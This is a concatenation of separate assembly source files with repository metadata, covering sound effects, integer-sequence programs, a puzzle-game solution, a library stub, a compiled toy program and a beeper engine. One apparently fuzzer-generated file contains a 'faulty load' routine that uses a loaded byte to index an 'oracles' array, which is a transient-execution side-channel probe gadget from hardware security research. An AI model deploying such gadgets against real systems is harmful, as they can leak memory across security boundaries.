{'dst': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 8, 'same': True, 'type': 'addresses_WT_ht'}, 'OP': 'STOR'}
{'src': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 0, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'LOAD'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 1, 'same': True, 'type': 'addresses_WT_ht'}, 'OP': 'STOR'}
{'src': {'congruent': 7, 'same': False, 'type': 'addresses_A_ht'}, 'dst': {'congruent': 9, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'REPM'}
{'00': 28, '45': 21792, '46': 9}
00 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 00 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 46 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 00 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45 45
*/
| 32.339768 | 2,999 | 0.651146 |
ba511124a8acc43f516e640e7b310f483d4da3c3 | 1,017 | asm | Assembly | sk/sfx/BE.asm | Cancer52/flamedriver | 9ee6cf02c137dcd63e85a559907284283421e7ba | [
"0BSD"
] | 9 | 2017-10-09T20:28:45.000Z | 2021-06-29T21:19:20.000Z | sk/sfx/BE.asm | Cancer52/flamedriver | 9ee6cf02c137dcd63e85a559907284283421e7ba | [
"0BSD"
] | 12 | 2018-08-01T13:52:20.000Z | 2022-02-21T02:19:37.000Z | sk/sfx/BE.asm | Cancer52/flamedriver | 9ee6cf02c137dcd63e85a559907284283421e7ba | [
"0BSD"
] | 2 | 2018-02-17T19:50:36.000Z | 2019-10-30T19:28:06.000Z | Sound_BE_Header:
smpsHeaderStartSong 3
smpsHeaderVoice Sound_BE_Voices
smpsHeaderTempoSFX $01
smpsHeaderChanSFX $01
smpsHeaderSFXChannel cFM3, Sound_BE_FM3, $12, $10
; FM3 Data
Sound_BE_FM3:
smpsSetvoice $00
smpsModSet $01, $01, $2B, $0B
dc.b nA0, $29
Sound_BE_Loop00:
dc.b smpsNoAttack, nA0, $16
smpsContinuousLoop Sound_BE_Loop00
smpsStop
Sound_BE_Voices:
; Voice $00
; $34
; $0C, $0D, $0A, $1A, $1F, $1F, $1F, $1F, $00, $00, $00, $00
; $00, $00, $00, $00, $0F, $0F, $0F, $0F, $11, $80, $10, $80
smpsVcAlgorithm $04
smpsVcFeedback $06
smpsVcUnusedBits $00
smpsVcDetune $01, $00, $00, $00
smpsVcCoarseFreq $0A, $0A, $0D, $0C
smpsVcRateScale $00, $00, $00, $00
smpsVcAttackRate $1F, $1F, $1F, $1F
smpsVcAmpMod $00, $00, $00, $00
smpsVcDecayRate1 $00, $00, $00, $00
smpsVcDecayRate2 $00, $00, $00, $00
smpsVcDecayLevel $00, $00, $00, $00
smpsVcReleaseRate $0F, $0F, $0F, $0F
smpsVcTotalLevel $00, $10, $00, $11
| 26.076923 | 62 | 0.623402 |
3dbd68d356132d201435ce3d02922f5740ac61aa | 6,501 | asm | Assembly | Transynther/x86/_processed/AVXALIGN/_st_/i7-7700_9_0x48.log_21829_165.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/AVXALIGN/_st_/i7-7700_9_0x48.log_21829_165.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/AVXALIGN/_st_/i7-7700_9_0x48.log_21829_165.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r14
push %r15
push %r9
push %rbp
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_normal_ht+0x1a60a, %rbx
clflush (%rbx)
nop
nop
cmp %r15, %r15
mov (%rbx), %r9
sub %rsi, %rsi
lea addresses_D_ht+0x12ef2, %rsi
lea addresses_D_ht+0x1e862, %rdi
nop
nop
cmp %r14, %r14
mov $84, %rcx
rep movsl
nop
nop
nop
nop
dec %r9
lea addresses_normal_ht+0x18862, %rbx
nop
nop
nop
add $10293, %rsi
mov $0x6162636465666768, %rcx
movq %rcx, %xmm4
movups %xmm4, (%rbx)
nop
nop
nop
nop
nop
and %rdi, %rdi
lea addresses_A_ht+0x13fca, %rsi
lea addresses_normal_ht+0x3a8a, %rdi
nop
nop
nop
cmp $18498, %rbp
mov $86, %rcx
rep movsb
sub $51618, %r15
lea addresses_UC_ht+0x5862, %r14
nop
nop
nop
nop
cmp %rdi, %rdi
movw $0x6162, (%r14)
nop
nop
nop
mfence
lea addresses_A_ht+0x5862, %rbx
nop
nop
nop
nop
inc %r15
movb $0x61, (%rbx)
add $34640, %r15
lea addresses_normal_ht+0x8862, %rcx
nop
nop
nop
add %rsi, %rsi
mov (%rcx), %rdi
nop
add %r15, %r15
lea addresses_WT_ht+0x14862, %rsi
lea addresses_normal_ht+0x2f62, %rdi
clflush (%rsi)
nop
add %rbx, %rbx
mov $107, %rcx
rep movsb
nop
nop
sub %r15, %r15
lea addresses_A_ht+0x862, %rsi
lea addresses_normal_ht+0x1ab62, %rdi
nop
nop
nop
inc %rbx
mov $26, %rcx
rep movsw
and $52461, %rdi
lea addresses_A_ht+0x145d4, %rsi
lea addresses_A_ht+0x4022, %rdi
clflush (%rdi)
and %r9, %r9
mov $77, %rcx
rep movsb
nop
nop
nop
nop
nop
inc %rcx
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %rbp
pop %r9
pop %r15
pop %r14
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r13
push %r15
push %rbp
push %rsi
// Faulty Load
lea addresses_D+0xa062, %rsi
nop
nop
nop
nop
nop
sub %r15, %r15
mov (%rsi), %r13w
lea oracles, %r11
and $0xff, %r13
shlq $12, %r13
mov (%r11,%r13,1), %r13
pop %rsi
pop %rbp
pop %r15
pop %r13
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_D', 'AVXalign': False, 'congruent': 0, 'size': 16, 'same': True, 'NT': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_D', 'AVXalign': True, 'congruent': 0, 'size': 2, 'same': True, 'NT': False}}
<gen_prepare_buffer>
{'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 2, 'size': 8, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 2, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 9, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 10, 'size': 16, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 3, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 1, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC_ht', 'AVXalign': True, 'congruent': 8, 'size': 2, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A_ht', 'AVXalign': False, 'congruent': 11, 'size': 1, 'same': False, 'NT': True}}
{'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'AVXalign': False, 'congruent': 10, 'size': 8, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 11, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 8, 'same': True}}
{'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 11, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 8, 'same': True}}
{'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 0, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 4, 'same': False}}
{'36': 21829}
36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36
*/
| 38.467456 | 2,999 | 0.661283 |
78e461803ebd5f262756324c66c96655634789a1 | 235 | asm | Assembly | programs/oeis/185/A185015.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | 1 | 2021-03-15T11:38:20.000Z | 2021-03-15T11:38:20.000Z | programs/oeis/185/A185015.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/185/A185015.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | ; A185015: Characteristic function of 5.
; 0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
mov $1,$0
cmp $1,5
| 39.166667 | 173 | 0.544681 |
436d2f55403c2f5183a54469554af3dc131a411c | 301 | asm | Assembly | programs/oeis/253/A253212.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/253/A253212.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/253/A253212.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A253212: a(n) = 9^n + 8.
; 9,17,89,737,6569,59057,531449,4782977,43046729,387420497,3486784409,31381059617,282429536489,2541865828337,22876792454969,205891132094657,1853020188851849,16677181699666577,150094635296999129,1350851717672992097,12157665459056928809
mov $1,9
pow $1,$0
add $1,8
mov $0,$1
| 37.625 | 234 | 0.810631 |
aeec3cb3016c726201e9ba9434044a8bbbe01d99 | 250 | asm | Assembly | programs/oeis/070/A070712.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/070/A070712.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/070/A070712.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A070712: n^7 mod 31.
; 0,1,4,17,16,5,6,28,2,10,20,13,24,22,19,23,8,12,9,7,18,11,21,29,3,25,26,15,14,27,30,0,1,4,17,16,5,6,28,2,10,20,13,24,22,19,23,8,12,9,7,18,11,21,29,3,25,26,15,14,27,30,0,1,4,17,16,5,6,28,2,10,20,13,24,22,19
pow $0,7
mod $0,31
| 41.666667 | 206 | 0.612 |
7e72391e2c4071a74f0b83055525baf92f93a110 | 246 | asm | Assembly | solutions/59 - Glory Hole/size-5_speed-39.asm | michaelgundlach/7billionhumans | 02c6f3963364362c95cb516cbc6ef1efc073bb2e | [
"MIT"
] | 45 | 2018-09-05T04:56:59.000Z | 2021-11-22T08:57:26.000Z | solutions/59 - Glory Hole/size-5_speed-39.asm | michaelgundlach/7billionhumans | 02c6f3963364362c95cb516cbc6ef1efc073bb2e | [
"MIT"
] | 36 | 2018-09-01T11:34:26.000Z | 2021-05-19T23:20:49.000Z | solutions/59 - Glory Hole/size-5_speed-39.asm | michaelgundlach/7billionhumans | 02c6f3963364362c95cb516cbc6ef1efc073bb2e | [
"MIT"
] | 36 | 2018-09-01T07:44:19.000Z | 2021-09-10T19:07:35.000Z | -- 7 Billion Humans (2212:2214M) --
-- 59: Glory Hole --
-- Author: std4453
-- Size: 5
-- Speed: 39
mem1 = nearest datacube
a:
step mem1
mem1 = foreachdir nw,w,sw,n,s,ne,se:
if c == 1 and
mem1 == hole or
c > mem1:
jump a
endif
endfor
| 12.3 | 36 | 0.609756 |
37cb988ff4bc5be7296b62145bfb2c7a6cd827c9 | 164 | asm | Assembly | libsrc/_DEVELOPMENT/adt/ba_stack/c/sccz80/ba_stack_pop.asm | teknoplop/z88dk | bb03fbfd6b2ab0f397a1358559089f9cd3706485 | [
"ClArtistic"
] | 8 | 2017-01-18T12:02:17.000Z | 2021-06-12T09:40:28.000Z | libsrc/_DEVELOPMENT/adt/ba_stack/c/sccz80/ba_stack_pop.asm | teknoplop/z88dk | bb03fbfd6b2ab0f397a1358559089f9cd3706485 | [
"ClArtistic"
] | 1 | 2017-03-06T07:41:56.000Z | 2017-03-06T07:41:56.000Z | libsrc/_DEVELOPMENT/adt/ba_stack/c/sccz80/ba_stack_pop.asm | teknoplop/z88dk | bb03fbfd6b2ab0f397a1358559089f9cd3706485 | [
"ClArtistic"
] | 3 | 2017-03-07T03:19:40.000Z | 2021-09-15T17:59:19.000Z |
; int ba_stack_pop(ba_stack_t *s)
SECTION code_clib
SECTION code_adt_ba_stack
PUBLIC ba_stack_pop
EXTERN asm_ba_stack_pop
defc ba_stack_pop = asm_ba_stack_pop
| 13.666667 | 36 | 0.841463 |
d8f68e60a2edf640dbb4b11d29d3df7a9453b6e3 | 1,982 | asm | Assembly | programs/oeis/004/A004188.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | 1 | 2021-03-15T11:38:20.000Z | 2021-03-15T11:38:20.000Z | programs/oeis/004/A004188.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | programs/oeis/004/A004188.asm | karttu/loda | 9c3b0fc57b810302220c044a9d17db733c76a598 | [
"Apache-2.0"
] | null | null | null | ; A004188: a(n) = n*(3*n^2 - 1)/2.
; 0,1,11,39,94,185,321,511,764,1089,1495,1991,2586,3289,4109,5055,6136,7361,8739,10279,11990,13881,15961,18239,20724,23425,26351,29511,32914,36569,40485,44671,49136,53889,58939,64295,69966,75961,82289,88959,95980,103361,111111,119239,127754,136665,145981,155711,165864,176449,187475,198951,210886,223289,236169,249535,263396,277761,292639,308039,323970,340441,357461,375039,393184,411905,431211,451111,471614,492729,514465,536831,559836,583489,607799,632775,658426,684761,711789,739519,767960,797121,827011,857639,889014,921145,954041,987711,1022164,1057409,1093455,1130311,1167986,1206489,1245829,1286015,1327056,1368961,1411739,1455399,1499950,1545401,1591761,1639039,1687244,1736385,1786471,1837511,1889514,1942489,1996445,2051391,2107336,2164289,2222259,2281255,2341286,2402361,2464489,2527679,2591940,2657281,2723711,2791239,2859874,2929625,3000501,3072511,3145664,3219969,3295435,3372071,3449886,3528889,3609089,3690495,3773116,3856961,3942039,4028359,4115930,4204761,4294861,4386239,4478904,4572865,4668131,4764711,4862614,4961849,5062425,5164351,5267636,5372289,5478319,5585735,5694546,5804761,5916389,6029439,6143920,6259841,6377211,6496039,6616334,6738105,6861361,6986111,7112364,7240129,7369415,7500231,7632586,7766489,7901949,8038975,8177576,8317761,8459539,8602919,8747910,8894521,9042761,9192639,9344164,9497345,9652191,9808711,9966914,10126809,10288405,10451711,10616736,10783489,10951979,11122215,11294206,11467961,11643489,11820799,11999900,12180801,12363511,12548039,12734394,12922585,13112621,13304511,13498264,13693889,13891395,14090791,14292086,14495289,14700409,14907455,15116436,15327361,15540239,15755079,15971890,16190681,16411461,16634239,16859024,17085825,17314651,17545511,17778414,18013369,18250385,18489471,18730636,18973889,19219239,19466695,19716266,19967961,20221789,20477759,20735880,20996161,21258611,21523239,21790054,22059065,22330281,22603711,22879364,23157249
mov $1,$0
pow $1,3
mul $1,3
sub $1,$0
div $1,2
| 220.222222 | 1,898 | 0.85116 |
92e530227d90c8ea6aaea4a8c508eaf6ce7190be | 560 | asm | Assembly | Student/examples/Correct/Arrays/Correct_301.asm | SoftMoore/CPRL-Kt | c2dfdbd5b30ed6175f419398071e2f98e582d23a | [
"Unlicense"
] | 6 | 2021-02-02T10:08:02.000Z | 2022-03-24T08:10:44.000Z | Student/examples/Correct/Arrays/Correct_301.asm | SoftMoore/CPRL-Kt | c2dfdbd5b30ed6175f419398071e2f98e582d23a | [
"Unlicense"
] | 1 | 2021-02-27T21:55:26.000Z | 2021-02-28T12:39:29.000Z | Student/examples/Correct/Arrays/Correct_301.asm | SoftMoore/CPRL-Kt | c2dfdbd5b30ed6175f419398071e2f98e582d23a | [
"Unlicense"
] | 6 | 2020-02-24T13:51:32.000Z | 2021-06-05T19:02:05.000Z | PROGRAM 44
LDGADDR 0
LDCINT 0
STOREW
L0:
LDGADDR 0
LOADW
LDCINT 10
CMP
BGE L1
LDGADDR 4
LDGADDR 0
LOADW
LDCINT 4
MUL
ADD
LDCINT 2
LDGADDR 0
LOADW
MUL
STOREW
LDGADDR 0
LDGADDR 0
LOADW
LDCINT 1
ADD
STOREW
BR L0
L1:
LDGADDR 0
LDCINT 0
STOREW
L4:
LDGADDR 0
LOADW
LDCINT 10
CMP
BGE L5
LDGADDR 4
LDGADDR 0
LOADW
LDCINT 4
MUL
ADD
LOADW
PUTINT
PUTEOL
LDGADDR 0
LDGADDR 0
LOADW
LDCINT 1
ADD
STOREW
BR L4
L5:
HALT
| 9.824561 | 13 | 0.566071 |
b06bf3187e79e1181773c1661e7e11b1756d2db9 | 4,231 | asm | Assembly | code/audio/soundPlayer.asm | zxwanderer/A-World-of-One-way | 9c5e3142f9f225bbfcca52a4d3c9de89c00753d9 | [
"Apache-2.0"
] | 7 | 2021-04-08T15:16:14.000Z | 2021-12-05T00:36:30.000Z | code/audio/soundPlayer.asm | zxwanderer/A-World-of-One-way | 9c5e3142f9f225bbfcca52a4d3c9de89c00753d9 | [
"Apache-2.0"
] | null | null | null | code/audio/soundPlayer.asm | zxwanderer/A-World-of-One-way | 9c5e3142f9f225bbfcca52a4d3c9de89c00753d9 | [
"Apache-2.0"
] | 1 | 2021-05-25T07:27:20.000Z | 2021-05-25T07:27:20.000Z | ; Beeper engine
; Copyright (C) 2021 by Juan J. Martinez <jjm@usebox.net>
;
; Permission is hereby granted, free of charge, to any person obtaining a copy
; of this software and associated documentation files (the "Software"), to deal
; in the Software without restriction, including without limitation the rights
; to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
; copies of the Software, and to permit persons to whom the Software is
; furnished to do so, subject to the following conditions:
;
; The above copyright notice and this permission notice shall be included in
; all copies or substantial portions of the Software.
;
; THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
; IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
; FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
; AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
; LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
; OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
; THE SOFTWARE.
;
; .globl beeper_init
; .globl beeper_queue
; .globl beeper_play
; TODO need test on real computer. On XPECCY emulator beeper is absent !
module SOUND_PLAYER
module SET_SOUND
mute:
ld hl,SOUND_PLAYER.DATA.mute
jr SOUND_PLAYER.init
coin:
ld hl,SOUND_PLAYER.DATA.coin
jr SOUND_PLAYER.init
explosion:
ld hl,SOUND_PLAYER.DATA.explosion
jr SOUND_PLAYER.init
impact:
ld hl,SOUND_PLAYER.DATA.impact
jr SOUND_PLAYER.init
eat:
ld hl,SOUND_PLAYER.DATA.eat
jr SOUND_PLAYER.init
key:
ld hl,SOUND_PLAYER.DATA.key
jr SOUND_PLAYER.init
ice:
ld hl,SOUND_PLAYER.DATA.ice
jr SOUND_PLAYER.init
done:
ld hl,SOUND_PLAYER.DATA.done
jr SOUND_PLAYER.init
dead:
ld hl,SOUND_PLAYER.DATA.dead
jr SOUND_PLAYER.init
endmodule
init:
di
ld (sfx_data), hl
ld a,1
ld (sfx_type), a
ld de,sfx_type
ld bc,5
ldir
ei
ret
; beeper_queue::
; di
; ld a, l
; call queue_next
; ei
; ret
queue_next:
ld (sfx_type), a
or a
ret z
dec a
ld hl, (sfx_data)
ld c, l
ld b, h
ld h, #0
ld l, a
ld d, h
ld e, l
add hl, hl
add hl, hl
add hl, de
add hl, bc
ld de, sfx_type
ld bc, #5
ldir
ret
play:
ld a, (sfx_type)
or a
ret z
dec a
jr z, tone
dec a
; shouldn't happen!
ret nz
; noise
ld a, (sfx_freq)
ld d, a
ld b, #0
noise_loop:
call rnd
and 0x10
; FIXME: border ?
out (0xfe), a
ld c, d
noise_freq_loop:
dec b
jr z, noise_done
dec c
jr nz, noise_freq_loop
jr noise_loop
tone:
ld a, (sfx_freq)
ld d, a
xor a
ld b, a
tone_loop:
; FIXME: border ?
and 0x10
out (0xfe), a
xor 0x10
ld c, d
freq_loop:
dec b
jr z, tone_done
dec c
jr nz, freq_loop
jr tone_loop
tone_done:
noise_done:
ld a, (sfx_next)
ld hl, sfx_frames
dec (hl)
jr z, queue_next
; freq change (slide)
ld a, (sfx_freq_chg)
add d
ld (sfx_freq), a
ret
rnd:
ld hl, 0xf3a1
ld a, h
rra
ld a, l
rra
xor h
ld h, a
ld a, l
rra
ld a, h
rra
xor l
ld l, a
xor h
ld h, a
ld (rnd + 1), hl
ret
sfx_type: db 0
sfx_frames: db 0
sfx_freq: db 0
sfx_freq_chg: db 0
sfx_next: db 0
sfx_data: block 2
module DATA
mute:
db 0,0,0,0,0
coin:
db 1,6,32,-8,2, 1,6,48,-12,0
explosion:
db 2,32,1,-1,0
impact:
